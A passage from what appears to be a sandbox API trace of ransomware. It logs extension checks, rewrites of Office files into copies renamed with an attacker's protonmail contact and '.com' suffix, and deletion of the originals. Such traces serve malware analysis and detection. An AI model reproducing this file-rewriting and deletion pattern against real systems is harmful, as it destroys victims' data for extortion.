(lpString=".xls") returned 4 [0148.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString=".xlsx") returned 5 [0148.268] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.268] lstrlenW (lpString=".ppt") returned 4 [0148.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.268] lstrlenW (lpString=".zip") returned 4 [0148.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.268] lstrlenW (lpString=".rar") returned 4 [0148.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString=".bz2") returned 4 [0148.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.268] lstrlenW (lpString=".7z") returned 3 [0148.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.268] lstrlenW (lpString=".dbf") returned 4 [0148.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.269] lstrlenW (lpString=".1cd") returned 4 [0148.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0148.269] lstrlenW (lpString=".jpg") returned 4 [0148.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.269] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.269] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0148.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.269] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=527958) returned 1 [0148.269] CloseHandle (hObject=0x10c0) returned 1 [0148.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0148.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.270] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.270] GetLastError () returned 0x0 [0148.270] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0148.410] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0148.425] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.425] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.425] SetEndOfFile (hFile=0x108c) returned 1 [0148.425] CloseHandle (hObject=0x108c) returned 1 [0148.564] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.564] SetEndOfFile (hFile=0x10c0) returned 1 [0148.569] CloseHandle (hObject=0x10c0) returned 1 [0148.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0148.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.570] lstrlenW (lpString=".doc") returned 4 [0148.570] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.570] lstrlenW (lpString=".docx") returned 5 [0148.570] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.570] lstrlenW (lpString=".pdf") returned 4 [0148.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString=".xls") returned 4 [0148.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString=".xlsx") returned 5 [0148.571] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.571] lstrlenW (lpString=".ppt") returned 4 [0148.571] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString=".zip") returned 4 [0148.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.571] lstrlenW (lpString=".rar") returned 4 [0148.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString=".bz2") returned 4 [0148.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString=".7z") returned 3 [0148.571] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString=".dbf") returned 4 [0148.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString=".1cd") returned 4 [0148.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString=".jpg") returned 4 [0148.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.571] lstrlenW (lpString=".doc") returned 4 [0148.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString=".docx") returned 5 [0148.572] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.572] lstrlenW (lpString=".pdf") returned 4 [0148.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString=".xls") returned 4 [0148.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString=".xlsx") returned 5 [0148.572] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.572] lstrlenW (lpString=".ppt") returned 4 [0148.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.572] lstrlenW (lpString=".zip") returned 4 [0148.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.572] lstrlenW (lpString=".rar") returned 4 [0148.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString=".bz2") returned 4 [0148.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString=".7z") returned 3 [0148.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.572] lstrlenW (lpString=".dbf") returned 4 [0148.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.572] lstrlenW (lpString=".1cd") returned 4 [0148.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0148.572] lstrlenW (lpString=".jpg") returned 4 [0148.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.573] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.573] lstrlenW (lpString="AG00021_.GIF") returned 12 [0148.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.573] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=14873) returned 1 [0148.573] CloseHandle (hObject=0x10c0) returned 1 [0148.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0148.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.574] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.574] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.574] GetLastError () returned 0x0 [0148.574] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x3a19, lpOverlapped=0x0) returned 1 [0148.587] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0148.589] ReadFile (in: hFile=0x10c0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.589] WriteFile (in: hFile=0x108c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.589] SetEndOfFile (hFile=0x108c) returned 1 [0148.589] CloseHandle (hObject=0x108c) returned 1 [0148.593] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.593] SetEndOfFile (hFile=0x10c0) returned 1 [0148.594] CloseHandle (hObject=0x10c0) returned 1 [0148.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0148.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.595] lstrlenW (lpString=".doc") returned 4 [0148.595] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.595] lstrlenW (lpString=".docx") returned 5 [0148.595] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.595] lstrlenW (lpString=".pdf") returned 4 [0148.595] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.595] lstrlenW (lpString=".xls") returned 4 [0148.595] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.595] lstrlenW (lpString=".xlsx") returned 5 [0148.595] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.595] lstrlenW (lpString=".ppt") returned 4 [0148.595] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString=".zip") returned 4 [0148.596] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.596] lstrlenW (lpString=".rar") returned 4 [0148.596] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.596] lstrlenW (lpString=".bz2") returned 4 [0148.596] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.596] lstrlenW (lpString=".7z") returned 3 [0148.596] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString=".dbf") returned 4 [0148.596] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString=".1cd") returned 4 [0148.596] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString=".jpg") returned 4 [0148.596] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.596] lstrlenW (lpString=".doc") returned 4 [0148.596] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.596] lstrlenW (lpString=".docx") returned 5 [0148.596] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.596] lstrlenW (lpString=".pdf") returned 4 [0148.596] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.596] lstrlenW (lpString=".xls") returned 4 [0148.596] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.597] lstrlenW (lpString=".xlsx") returned 5 [0148.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.597] lstrlenW (lpString=".ppt") returned 4 [0148.597] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.597] lstrlenW (lpString=".zip") returned 4 [0148.597] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.597] lstrlenW (lpString=".rar") returned 4 [0148.597] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.597] lstrlenW (lpString=".bz2") returned 4 [0148.597] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.597] lstrlenW (lpString=".7z") returned 3 [0148.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.597] lstrlenW (lpString=".dbf") returned 4 [0148.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.597] lstrlenW (lpString=".1cd") returned 4 [0148.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0148.597] lstrlenW (lpString=".jpg") returned 4 [0148.597] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.598] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.598] lstrlenW (lpString="AG00037_.GIF") returned 12 [0148.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.690] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=6684) returned 1 [0148.690] CloseHandle (hObject=0x1084) returned 1 [0148.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0148.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0148.691] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.691] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0148.705] GetLastError () returned 0x0 [0148.706] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0148.714] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1a20, lpOverlapped=0x0) returned 1 [0148.715] ReadFile (in: hFile=0x1084, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.715] WriteFile (in: hFile=0x1088, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.715] SetEndOfFile (hFile=0x1088) returned 1 [0148.715] CloseHandle (hObject=0x1088) returned 1 [0148.717] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.717] SetEndOfFile (hFile=0x1084) returned 1 [0148.718] CloseHandle (hObject=0x1084) returned 1 [0148.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0148.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.719] lstrlenW (lpString=".doc") returned 4 [0148.719] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.719] lstrlenW (lpString=".docx") returned 5 [0148.719] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.719] lstrlenW (lpString=".pdf") returned 4 [0148.719] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.719] lstrlenW (lpString=".xls") returned 4 [0148.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.720] lstrlenW (lpString=".xlsx") returned 5 [0148.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.720] lstrlenW (lpString=".ppt") returned 4 [0148.720] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.720] lstrlenW (lpString=".zip") returned 4 [0148.720] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.720] lstrlenW (lpString=".rar") returned 4 [0148.720] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.720] lstrlenW (lpString=".bz2") returned 4 [0148.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.720] lstrlenW (lpString=".7z") returned 3 [0148.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.720] lstrlenW (lpString=".dbf") returned 4 [0148.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.721] lstrlenW (lpString=".1cd") returned 4 [0148.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.721] lstrlenW (lpString=".jpg") returned 4 [0148.721] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0148.721] lstrlenW (lpString=".doc") returned 4 [0148.721] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.721] lstrlenW 